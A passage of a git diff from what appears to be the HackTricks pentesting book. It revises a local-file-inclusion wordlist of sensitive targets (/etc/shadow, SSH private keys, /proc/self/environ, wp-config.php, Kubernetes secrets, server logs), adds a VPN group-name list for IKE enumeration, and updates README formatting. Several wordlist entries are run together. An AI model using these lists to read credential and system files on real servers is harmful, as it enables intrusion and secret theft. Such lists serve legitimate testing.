-/proc/self/fd/59 -/proc/self/fd/6 -/proc/self/fd/61 -/proc/self/fd/62 -/proc/self/fd/63 -/proc/self/fd/64 -/proc/self/fd/65 -/proc/self/fd/66 -/proc/self/fd/67 -/proc/self/fd/68 -/proc/self/fd/69 -/proc/self/fd/7 -/proc/self/fd/71 -/proc/self/fd/72 -/proc/self/fd/73 -/proc/self/fd/74 -/proc/self/fd/75 -/proc/self/fd/76 -/proc/self/fd/77 -/proc/self/fd/78 -/proc/self/fd/79 -/proc/self/fd/8 -/proc/self/fd/81 -/proc/self/fd/82 -/proc/self/fd/83 -/proc/self/fd/84 -/proc/self/fd/85 -/proc/self/fd/86 -/proc/self/fd/87 -/proc/self/fd/88 -/proc/self/fd/89 -/proc/self/fd/9 -/proc/self/fd/91 -/proc/self/fd/92 -/proc/self/fd/93 -/proc/self/fd/94 -/proc/self/fd/95 -/proc/self/fd/96 -/proc/self/fd/97 -/proc/self/fd/98 -/proc/self/fd/99 -/proc/self/net/arp -/proc/self/stat -/proc/self/status -/proc/self/statvar -/proc/stat -/proc/swaps -~/.profile -/root/anaconda-ks.cfg -/root/.bash_history -/root/.ssh/authorized_hosts -/root/.ssh/authorized_keys -/root/.ssh/id_dsa -/root/.ssh/id_rsa -/root/.ssh/known_hosts -~/.ssh/authorized_keys -~/.ssh/id_dsa -~/.ssh/id_dsa.pub -~/.ssh/identity -~/.ssh/identity.pub -~/.ssh/id_rsa -~/.ssh/id_rsa.pub -/usr/apache2/conf/httpd.conf -/usr/apache/conf/httpd.conf -/usr/etc/pure-ftpd.conf -/usr/lib/security/mkuser.default -/usr/local/apache2/conf/httpd.conf -/usr/local/apache2/log/error_log -/usr/local/apache2/logs/access_logusr/local/apache2/logs/access.log -/usr/local/apache2/logs/error_log -/usr/local/apache2/logs/error.logvar/log/access_log -/usr/local/apache/audit_log -/usr/local/apache/conf/modsec.conf -/usr/local/apache/error.log -/usr/local/apache/error_log -/usr/local/apache/httpd.confusr/local/apache2/httpd.conf -/usr/local/apache/log -/usr/local/apache/log/error_log -/usr/local/apache/logs -/usr/local/apache/logs/access.log -/usr/local/apache/logs/access.logusr/local/apache/logs/error_log -/usr/local/apache/logs/error.log -/usr/local/apps/apache2/conf/httpd.confusr/local/apps/apache/conf/httpd.conf -/usr/local/cpanel/logs/access_log -/usr/local/cpanel/logs/login_log -/usr/local/cpanel/logs/login_logusr/local/cpanel/logs/stats_log -/usr/local/cpanel/logs/stats_log -/usr/local/cpanel/logs/stats_logusr/local/cpanel/logs/access_log -/usr/local/etc/apache2/conf/httpd.confusr/local/etc/httpd/conf/httpd.conf -/usr/local/etc/apache/conf/httpd.conf -/usr/local/etc/apache/conf/httpd.confusr/local/apache/conf/httpd.conf -/usr/local/etc/apache/vhosts.confetc/php.ini -/usr/local/etc/httpd/logs/access_log -/usr/local/etc/httpd/logs/error_log -/usr/local/httpd/conf/httpd.conf -/usr/local/lib/php.ini -/usr/local/lib/php.iniusr/local/php/lib/php.ini -/usr/local/php5/httpd.conf.php -/usr/local/php5/httpd.conf.phpusr/local/php/httpd.conf -/usr/local/php/httpd.conf -/usr/local/php/httpd.conf.ini -/usr/local/php/httpd.conf.php -/usr/local/php/lib/php.ini -/usr/local/pureftpd/etc/pureftpd.pdbusr/local/pureftpd/sbin/pure-config.pl -/usr/local/pureftpd/etc/pureftpd.pdn -/usr/local/pureftpd/sbin/pure-config.pl -/usr/local/www/logs/httpd_log -/usr/pkgsrc/net/pureftpd/usr/ports/contrib/pure-ftpd/ -/usr/ports/ftp/pure-ftpd/ -/usr/ports/net/pure-ftpd/ -/usr/sbin/pure-config.pl -/usr/sbin/pure-config.plusr/etc/pure-ftpd.conf -/usr/var/lib/mysql/debian.cnf -/usr/var/lib/mysql/my.cnf -/usr/var/lib/mysql/user.MYD -/var/apache2/config.inc -/var/apache/logs/access_log -/var/apache/logs/error_log -/var/htmp -/var/lib/mysql/debian.cnf -/var/lib/mysql/mysql/user.MYD -/var/lib/mysql/user.MYD -/var/local/www/conf/php.ini -/var/local/www/conf/php.inietc/php/cgi/php.ini -/var/log/access.log -/var/log/apache2/access_log -/var/log/apache2/access_logvar/log/httpd/error_log -/var/log/apache2/error.log -/var/log/apache2/error_log -/var/log/apache/access_log -/var/log/apache/error_log -/var/log/apache-ssl/access.log -/var/log/apache-ssl/error.log -/var/log/auth.log -/var/log/boot -/var/log/chttp.log -/var/log/cron.logvar/log/couchdb/couch.log -/var/log/cups/error.log -/var/log/daemon.log -/var/log/debug -/var/log/dmesg -/var/log/dmessage -/var/log/dpkg.log -/var/log/error_log -/var/log/error.logvar/log/apache/access_log -/var/log/exim4/mainlog -/var/log/exim4_mainlog -/var/log/exim4/paniclog -/var/log/exim/mainlog -/var/log/exim/mainlogvar/log/maillog -/var/log/exim.paniclog -/var/log/exim/paniclog -/var/log/faillog -/var/log/ftp-proxy -/var/log/ftp-proxy/ftp-proxy.log -/var/log/ftp-proxy/ftp-proxy.logvar/log/ftp-proxy -/var/log/httpsd/ssl.access_log -/var/log/httpsd/ssl_log -/var/log/kern.log -/var/log/lastlog -/var/log/lighttpd/access.log -/var/log/lighttpd/error.log -/var/log/lighttpd/lighttpd.access.log -/var/log/lighttpd/lighttpd.error.log -/var/log/mail.info -/var/log/maillog -/var/log/mail.warn -/var/log/message -/var/log/mysqlderror.log -/var/log/mysqlderror.logvar/log/mysql/mysql.log -/var/log/mysql/mysql.log -/var/log/news -/var/log/nginx/access.log -/var/log/nginx/access.logproc/self/cmdline -/var/log/nginx/error.log -/var/log/postgresql/postgresql-10-main.logvar/log/apache2/error.log -/var/log/postgresql/postgresql-9.6-mail.log -/var/log/qmail -/var/log/redis/redis-server.log -/var/log/samba/log.smbd -/var/log/secure -/var/log/smtpd -/var/log/spooler -/var/log/sshd.log -/var/log/syslog -/var/log/telnetd -/var/log/wtmp -/var/log/xferlog -/var/log/yum.log -/var/mail/root -/var/run/secrets/kubernetes.io/serviceaccount -/var/run/utmp -/var/webmin/miniserv.log -/var/www/conf/httpd.conf -/var/www/html/wordpress/wp-config.php -/var/www/html/wp/wp-config.php -/var/www/log/access_log -/var/www/log/error_log -/var/www/logs/access.log -/var/www/logs/access_log -/var/www/logs/access_logvar/www/logs/access.log -/var/www/mgr/logs/access.log -/var/www/mgr/logs/error_log -/var/www/mgr/logs/error.logvar/www/mgr/logs/access_log -/var/www/wordpress/wp-config.php -/var/www/wp/wp-config.php -~/.viminfo -/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf -/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.confVolumes/Macintosh_HD1/opt/apache/conf/httpd.conf -/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php -/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.phpVolumes/Macintosh_HD1/usr/local/php4/httpd.conf.php -/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini -/Volumes/webBackup/private/etc/httpd/httpd.conf -/Volumes/webBackup/private/etc/httpd/httpd.conf.defaultProgramFilesApacheGroupApacheconfhttpd.conf -/web/conf/php.ini -/WINDOWSphp.ini -/WINNTphp.ini -~/.wm_style -/xamppapachebinphp.ini -/xampp/logs/access_log -~/.Xdefaults -~/.xinitrc -~/.Xresources -~/.xsession \ No newline at end of file +423 diff --git a/.gitbook/assets/lfi.txt b/.gitbook/assets/lfi.txt index dd887237..28a6c928 100644 --- a/.gitbook/assets/lfi.txt +++ b/.gitbook/assets/lfi.txt @@ -1,159 +1,102 @@ /apache/logs/access.log -/apache/logs/access_log /apache/logs/error.log -/apache/logs/error_log -~/.atfp_history -~/.bash_history -~/.bash_logout -~/.bash_profile -~/.bashrc +/apachephpphp.ini /bin/php.ini -/defaultVolumes/webBackup/opt/apache2/conf/httpd.conf -/etc/anaconda-ks.cfg -/etc/anacrontab -/etc/apache2/apache2.conf +/ect/hostname /etc/apache2/conf/httpd.conf +/etc/apache2/httpd.conf /etc/apache/conf/httpd.conf -/etc/at.allow -/etc/at.deny -/etc/bashrc -/etc/bootptab -/etc/centos-release -/etc/cesi.conf -/etc/chrootUsers /etc/chrootUsersvar/log/xferlog -/etc/chttp.conf -/etc/cron.allow -/etc/cron.deny /etc/crontab -/etc/cups/cupsd.conf -/etc/debconf.conf -/etc/debian_version /etc/dovecot/dovecot.passwd -/etc/environment /etc/fstab -/etc/ftpaccess -/etc/groups -/etc/grub.conf -/etc/gshadow -/etc/hostapd.conf -/etc/hostname -/etc/hosts.allow -/etc/hosts.deny -/etc/http/conf/httpd.conf -/etc/httpd/access.conf +/etc/ftpchroot +/etc/ftphosts +/etc/group +/etc/hosts /etc/httpd.conf -/etc/httpd/srm.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/conf/httpd.confetc/http/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access.log +/etc/httpd/logs/access_logetc/httpd/logs/error_log +/etc/httpd/logs/access.logProgramFilesApacheGroupApachelogsaccess.log +/etc/httpd/logs/error.log +/etc/httpd/php.ini /etc/http/httpd.conf -/etc/inetd.conf -/etc/inittab -/etc/lighttpd.conf -/etc/lilo.conf -/etc/logrotate.d/proftpd +/etc/issue +/etc/logrotate.d/ftp /etc/logrotate.d/proftpdwww/logs/proftpd.system.log -/etc/lsb-release -/etc/master.passwd -/etc/modules.conf +/etc/logrotate.d/vsftpd.log +/etc/motd /etc/motdetc/passwd -/etc/mtab -/etc/my.conf -/etc/mysql/user.MYD +/etc/my.cnf +/etc/mysql/my.cnf /etc/netconfig -/etc/network/interfaces -/etc/networks -/etc/npasswd -/etc/ntp.conf -/etc/os-release -/etc/php4.4/fcgi/php.ini +/etc/passwd /etc/php4.4/fcgi/php.inietc/php4/apache/php.ini -/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini /etc/php5/cgi/php.ini -/etc/php/apache/php.ini -/etc/php/cgi/php.ini -/etc/php.ini -/etc/php/php4/php.ini +/etc/php/apache2/php.ini /etc/php/php4/php.inietc/php/apache/php.ini -/etc/polkit-1/localauthority.conf.d/50-localauthority.conf -/etc/polkit-1/localauthority.conf.d/51-debian-sudo.conf -/etc/printcap +/etc/php/php.ini +/etc/profile +/etc/proftp.conf /etc/proftpd/modules.confvar/log/vsftpd.log -/etc/proftpd/proftpd.conf -/etc/protocols /etc/protpd/proftpd.conf -/etc/pureftpd.passwd -/etc/pureftpd.pdb +/etc/pure-ftpd.conf /etc/pureftpd.pdbetc/pureftpd.passwd +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/pureftpd.pdb -/etc/pure-ftpd/putreftpd.pdb -/etc/rsyncd.conf -/etc/rsyslog.conf -/etc/redhat-release -/etc/samba/smb.conf /etc/security/environetc/security/limits /etc/security/group /etc/security/passwd /etc/security/user -/etc/services -/etc/shells -/etc/snmpd.conf -/etc/ssh/ssh_host_ecdsa_key -/etc/ssh/ssh_host_ecdsa_key.pub -/etc/ssh/ssh_host_key -/etc/ssh/ssh_host_key.pub -/etc/ssh/ssh_host_rsa_key -/etc/ssh/ssh_host_rsa_key.pub +/etc/shadow /etc/sudoers -/etc/supervisord.conf -/etc/sysconfig/network -/etc/sysctl.conf -/etc/syslog.conf -/etc/system-release -/etc/termcap -/etc/timezone -/etc/tomcat/tomcat-users.xml -/etc/updatedb.conf -~/.gtkrc -/local/apache2/conf/httpd.conf -/log/apache2/error_log -~/.login -~/.logout -/logs/access.log +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/home2binstableapachephp.inihomebinstableapachephp.ini /logs/access_log +/logs/access.loglogs/error_log /logs/error.log -/logs/error_log -/logs/security_debug_log -/logs/security_log -~/.mysql_history -~/.nano_history -/opt/apache2/conf/httpd.conf -/opt/apache/conf/httpd.conf -/opt/lampp/etc/httpd.conf -/opt/lampp/logs/access.log -/opt/lampp/logs/access_log +/logs/pure-ftpd.log +/NetServerbinstableapachephp.ini +/opt/apache/conf/httpd.confopt/apache2/conf/httpd.conf +/opt/lampp/logs/access_logopt/lampp/logs/access.log /opt/lampp/logs/error_log -/opt/lampp/logs/error.logopt +/opt/lampp/logs/error.logopt/xampp/logs/access_log +/opt/xampp/etc/php.ini /opt/xampp/logs/access.log /opt/xampp/logs/error.log /opt/xampp/logs/error_log /php4php.ini /php5php.ini -~/.php_history /phpphp.ini /PHPphp.ini /private/etc/httpd/httpd.conf -/private/etc/httpd/httpd.conf. -/proc/cpuinfo -/proc/filesystems -/proc/interrupts -/proc/ioports -/proc/meminfo -/proc/modules +/private/etc/httpd/httpd.conf.defaultVolumes/webBackup/opt/apache2/conf/httpd.conf +/proc/cmdline +/proc/mounts +/proc/net/arp +/proc/net/route +/proc/net/tcp +/proc/net/udp +/proc/sched_debug /proc/self/cmdline -/proc/self/cwd/index.php +/proc/self/environ /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/10 -/proc/self/fd/100 /proc/self/fd/11 /proc/self/fd/12 /proc/self/fd/13 @@ -182,235 +125,118 @@ /proc/self/fd/34 /proc/self/fd/35 /proc/self/fd/36 -/proc/self/fd/37 -/proc/self/fd/38 -/proc/self/fd/39 -/proc/self/fd/4 -/proc/self/fd/41 -/proc/self/fd/42 -/proc/self/fd/43 -/proc/self/fd/44 -/proc/self/fd/45 -/proc/self/fd/46 -/proc/self/fd/47 -/proc/self/fd/48 -/proc/self/fd/49 -/proc/self/fd/5 -/proc/self/fd/51 -/proc/self/fd/52 -/proc/self/fd/53 -/proc/self/fd/54 -/proc/self/fd/55 -/proc/self/fd/56 -/proc/self/fd/57 -/proc/self/fd/58 -/proc/self/fd/59 +/proc/self/fd/4proc/self/fd/5 /proc/self/fd/6 -/proc/self/fd/61 -/proc/self/fd/62 -/proc/self/fd/63 -/proc/self/fd/64 -/proc/self/fd/65 -/proc/self/fd/66 -/proc/self/fd/67 -/proc/self/fd/68 -/proc/self/fd/69 /proc/self/fd/7 -/proc/self/fd/71 -/proc/self/fd/72 -/proc/self/fd/73 -/proc/self/fd/74 -/proc/self/fd/75 -/proc/self/fd/76 -/proc/self/fd/77 -/proc/self/fd/78 -/proc/self/fd/79 /proc/self/fd/8 -/proc/self/fd/81 -/proc/self/fd/82 -/proc/self/fd/83 -/proc/self/fd/84 -/proc/self/fd/85 -/proc/self/fd/86 -/proc/self/fd/87 -/proc/self/fd/88 -/proc/self/fd/89 /proc/self/fd/9 -/proc/self/fd/91 -/proc/self/fd/92 -/proc/self/fd/93 -/proc/self/fd/94 -/proc/self/fd/95 -/proc/self/fd/96 -/proc/self/fd/97 -/proc/self/fd/98 -/proc/self/fd/99 -/proc/self/net/arp /proc/self/stat /proc/self/status -/proc/self/statvar -/proc/stat -/proc/swaps -~/.profile -/root/anaconda-ks.cfg +/proc/self/statvar/log/apache2/error_log +/proc/version +/ProgramFilesApacheGroupApache2confhttpd.confProgramFilesxamppapacheconfhttpd.conf +/ProgramFilesApacheGroupApachelogserror.logusr/local/apache2/conf/httpd.conf /root/.bash_history -/root/.ssh/authorized_hosts -/root/.ssh/authorized_keys -/root/.ssh/id_dsa -/root/.ssh/id_rsa -/root/.ssh/known_hosts -~/.ssh/authorized_keys -~/.ssh/id_dsa -~/.ssh/id_dsa.pub -~/.ssh/identity -~/.ssh/identity.pub -~/.ssh/id_rsa -~/.ssh/id_rsa.pub /usr/apache2/conf/httpd.conf /usr/apache/conf/httpd.conf -/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini /usr/lib/security/mkuser.default /usr/local/apache2/conf/httpd.conf -/usr/local/apache2/log/error_log /usr/local/apache2/logs/access_logusr/local/apache2/logs/access.log /usr/local/apache2/logs/error_log /usr/local/apache2/logs/error.logvar/log/access_log -/usr/local/apache/audit_log -/usr/local/apache/conf/modsec.conf -/usr/local/apache/error.log -/usr/local/apache/error_log +/usr/local/apache/conf/php.ini /usr/local/apache/httpd.confusr/local/apache2/httpd.conf -/usr/local/apache/log -/usr/local/apache/log/error_log -/usr/local/apache/logs -/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log /usr/local/apache/logs/access.logusr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apps/apache2/conf/httpd.confusr/local/apps/apache/conf/httpd.conf -/usr/local/cpanel/logs/access_log -/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_logusr/local/cpanel/logs/stats_log -/usr/local/cpanel/logs/stats_log /usr/local/cpanel/logs/stats_logusr/local/cpanel/logs/access_log /usr/local/etc/apache2/conf/httpd.confusr/local/etc/httpd/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache/conf/httpd.confusr/local/apache/conf/httpd.conf /usr/local/etc/apache/vhosts.confetc/php.ini -/usr/local/etc/httpd/logs/access_log -/usr/local/etc/httpd/logs/error_log +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb /usr/local/httpd/conf/httpd.conf -/usr/local/lib/php.ini /usr/local/lib/php.iniusr/local/php/lib/php.ini -/usr/local/php5/httpd.conf.php +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.phpusr/local/php/httpd.conf -/usr/local/php/httpd.conf -/usr/local/php/httpd.conf.ini +/usr/local/php5/lib/php.ini /usr/local/php/httpd.conf.php -/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdbusr/local/pureftpd/sbin/pure-config.pl -/usr/local/pureftpd/etc/pureftpd.pdn -/usr/local/pureftpd/sbin/pure-config.pl -/usr/local/www/logs/httpd_log +/usr/local/Zend/etc/php.ini /usr/pkgsrc/net/pureftpd/usr/ports/contrib/pure-ftpd/ /usr/ports/ftp/pure-ftpd/ /usr/ports/net/pure-ftpd/ -/usr/sbin/pure-config.pl /usr/sbin/pure-config.plusr/etc/pure-ftpd.conf -/usr/var/lib/mysql/debian.cnf -/usr/var/lib/mysql/my.cnf -/usr/var/lib/mysql/user.MYD -/var/apache2/config.inc -/var/apache/logs/access_log -/var/apache/logs/error_log -/var/htmp -/var/lib/mysql/debian.cnf -/var/lib/mysql/mysql/user.MYD -/var/lib/mysql/user.MYD -/var/local/www/conf/php.ini +/var/adm/log/xferlog +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf /var/local/www/conf/php.inietc/php/cgi/php.ini /var/log/access.log -/var/log/apache2/access_log +/var/log/apache2/access.log /var/log/apache2/access_logvar/log/httpd/error_log -/var/log/apache2/error.log -/var/log/apache2/error_log -/var/log/apache/access_log -/var/log/apache/error_log -/var/log/apache-ssl/access.log -/var/log/apache-ssl/error.log -/var/log/auth.log -/var/log/boot -/var/log/chttp.log +/var/log/apache/error.log /var/log/cron.logvar/log/couchdb/couch.log -/var/log/cups/error.log -/var/log/daemon.log -/var/log/debug -/var/log/dmesg /var/log/dmessage -/var/log/dpkg.log /var/log/error_log /var/log/error.logvar/log/apache/access_log /var/log/exim4/mainlog /var/log/exim4_mainlog /var/log/exim4/paniclog -/var/log/exim/mainlog +/var/log/exim_mainlog /var/log/exim/mainlogvar/log/maillog -/var/log/exim.paniclog /var/log/exim/paniclog -/var/log/faillog -/var/log/ftp-proxy -/var/log/ftp-proxy/ftp-proxy.log +/var/log/exim_paniclog +/var/log/exim/rejectlog +/var/log/exim_rejectlog +/var/log/ftplog /var/log/ftp-proxy/ftp-proxy.logvar/log/ftp-proxy -/var/log/httpsd/ssl.access_log -/var/log/httpsd/ssl_log -/var/log/kern.log -/var/log/lastlog -/var/log/lighttpd/access.log -/var/log/lighttpd/error.log -/var/log/lighttpd/lighttpd.access.log -/var/log/lighttpd/lighttpd.error.log -/var/log/mail.info -/var/log/maillog -/var/log/mail.warn -/var/log/message -/var/log/mysqlderror.log +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/mail +/var/log/mail.log +/var/log/messages /var/log/mysqlderror.logvar/log/mysql/mysql.log -/var/log/mysql/mysql.log +/var/log/mysql.log +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql-slow.log /var/log/news -/var/log/nginx/access.log /var/log/nginx/access.logproc/self/cmdline -/var/log/nginx/error.log /var/log/postgresql/postgresql-10-main.logvar/log/apache2/error.log -/var/log/postgresql/postgresql-9.6-mail.log +var/log/postgresql/postgresql-9.6-mail.log +/var/log/proftpd +/var/log/pureftpd.log +/var/log/pure-ftpd/pure-ftpd.log /var/log/qmail /var/log/redis/redis-server.log /var/log/samba/log.smbd -/var/log/secure /var/log/smtpd /var/log/spooler -/var/log/sshd.log /var/log/syslog /var/log/telnetd -/var/log/wtmp -/var/log/xferlog -/var/log/yum.log /var/mail/root -/var/run/secrets/kubernetes.io/serviceaccount -/var/run/utmp -/var/webmin/miniserv.log +/var/mysql.log +/var/spool/cron/crontabs/root /var/www/conf/httpd.conf -/var/www/html/wordpress/wp-config.php -/var/www/html/wp/wp-config.php -/var/www/log/access_log -/var/www/log/error_log -/var/www/logs/access.log -/var/www/logs/access_log /var/www/logs/access_logvar/www/logs/access.log +/var/www/logs/error.log +/var/www/logs/error_log /var/www/mgr/logs/access.log /var/www/mgr/logs/error_log /var/www/mgr/logs/error.logvar/www/mgr/logs/access_log -/var/www/wordpress/wp-config.php -/var/www/wp/wp-config.php -~/.viminfo /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.confVolumes/Macintosh_HD1/opt/apache/conf/httpd.conf /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php @@ -419,12 +245,5 @@ /Volumes/webBackup/private/etc/httpd/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf.defaultProgramFilesApacheGroupApacheconfhttpd.conf /web/conf/php.ini -/WINDOWSphp.ini -/WINNTphp.ini -~/.wm_style +/WINDOWSphp.iniWINNTphp.ini /xamppapachebinphp.ini -/xampp/logs/access_log -~/.Xdefaults -~/.xinitrc -~/.Xresources -~/.xsession \ No newline at end of file diff --git a/.gitbook/assets/portada 2.png b/.gitbook/assets/portada 2.png new file mode 100644 index 00000000..5ce83d1d Binary files /dev/null and b/.gitbook/assets/portada 2.png differ diff --git a/.gitbook/assets/portada alcoholica.png b/.gitbook/assets/portada alcoholica.png new file mode 100644 index 00000000..f23eaab5 Binary files /dev/null and b/.gitbook/assets/portada alcoholica.png differ diff --git a/.gitbook/assets/vpnIDs.txt b/.gitbook/assets/vpnIDs.txt new file mode 100644 index 00000000..9d70dde7 --- /dev/null +++ b/.gitbook/assets/vpnIDs.txt @@ -0,0 +1,160 @@ +GroupVPN +Group-VPN +EZ +ez +3000 +5000 +abc +ABC +RemoteAccess +RemoteAccessVPN +remoteaccessvpn +access +asa +ASA +pix +PIX +asa_vpn +ASA_vpn +ASA_VPN +PIX_VPN +pix_vpn +vpn_asa +vpn_pix +VPN_ASA +VPN_PIX +aimatch +asset +assetlink +backup +backup1 +backup-server +cisco +clientvpn +client-vpn +data +dataflux +DefaultL2LGroup +DefaultRAGroup +DefaultWEBVPNGroup +dfltgrppolicy +DfltGrpPolicy +dmz +dmzvpn +enter +ENTER +external +externalvpn +extvpn +ext-vpn +ezvpn +ezVPN +EZvpn +EZVPN +ezvpn-client +EZVPN_GROUP +failover +group +Group +group1 +Group1 +group2 +Group2 +group3 +Group3 +group4 +Group4 +group5 +GROUP_EZVPN +groupnew +GroupPolicy +GroupPolicy1 +GroupPolicy2 +GroupPolicy3 +GroupPolicy4 +GroupPolicy5 +groupvpn +group-vpn +hq +hqvpn +ideas +ike +inside +internal +internalvpn +internal-vpn +intvpn +int-vpn +ipsec +ipsec-ra +ipsec-tuneglgroup1 +ipsec-tunnelgroup +ipsec-tunnelgroup2 +jmp +link +mygroup +myGroup +myGROUP +MyGroup +new +newgroup +old +outside +picosearch +primary +primary-vpn +private +public +ravpn +ra-vpn +remote +Remote +remote-access +remotevpn +remote-vpn +rename +root +sa +secondary +secondary_vpn +secondary-vpn +Secondary_VPN +Secondary-VPN +secure +superteam +teragram +test +testvpn +test-vpn +tunnel +vpn +vpngroup +vpn-group +VPNGroup +vpnint +vpn-int +vpn_primary +vpn-primary +VPN_primary +VPN_Primary +VPN-Primary +vpnremote +vpn-remote +vpntest +vpn-test +VPNtest +VPN-test +VPN-Test +vpntunnel +vsticorp +webvpn +xxx +XXX +manualVPN +TunnelGroup1 +TunnelGroup2 +TunnelGroup3 +WAN GROUP +WAN +WANVPN +VPNGROUP \ No newline at end of file diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index d476f410..8be5501e 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -8,19 +8,18 @@ dht udp "DHT Nodes" 5060 udp sip "SIP/" -![](.gitbook/assets/image%20%28182%29.png) +![](<.gitbook/assets/image (273).png>) -![](.gitbook/assets/image%20%28345%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29%20%282%29.png) +![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2).png>) InfluxDB -![](.gitbook/assets/image%20%28371%29.png) +![](<.gitbook/assets/image (337).png>) -![](.gitbook/assets/image%20%28372%29.png) +![](<.gitbook/assets/image (338).png>) -![](.gitbook/assets/image%20%28370%29.png) +![](<.gitbook/assets/image (339).png>) -![](.gitbook/assets/image%20%28374%29.png) - -![](.gitbook/assets/image%20%28373%29.png) +![](<.gitbook/assets/image (340).png>) +![](<.gitbook/assets/image (341).png>) diff --git a/README.md b/README.md index c7772e76..4843cc9f 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ description: >- # HackTricks -![](.gitbook/assets/portada-alcoholica.png) +![](<.gitbook/assets/portada alcoholica.png>) **Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.** @@ -21,29 +21,30 @@ Here you will find the **typical flow** that **you should follow when pentesting **Click in the title to start!** {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## Corporate Sponsors -### [**INE**](https://ine.com/) +### [**INE**](https://ine.com) -![](.gitbook/assets/ine_logo-3-.jpg) +![](<.gitbook/assets/INE_Logo (3).jpg>) -[**INE**](https://ine.com/) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com/)**.** +[**INE**](https://ine.com) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com)**.** #### **Courses and Certifications reviews** -You can find **my reviews of the certifications eMAPT and eWPTXv2** \(and their **respective preparation courses**\) in the following page: +You can find **my reviews of the certifications eMAPT and eWPTXv2** (and their **respective preparation courses**) in the following page: -{% page-ref page="courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md" %} +{% content-ref url="courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md" %} +[ine-courses-and-elearnsecurity-certifications-reviews.md](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md) +{% endcontent-ref %} ## License -**Copyright © Carlos Polop 2021. Except where otherwise specified \(the external information copied into the book belongs to the original authors\), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International \(CC BY-NC 4.0\)**](https://creativecommons.org/licenses/by-nc/4.0/)**. -If you want to use it with commercial purposes, contact me.** - +**Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on **[**HACK 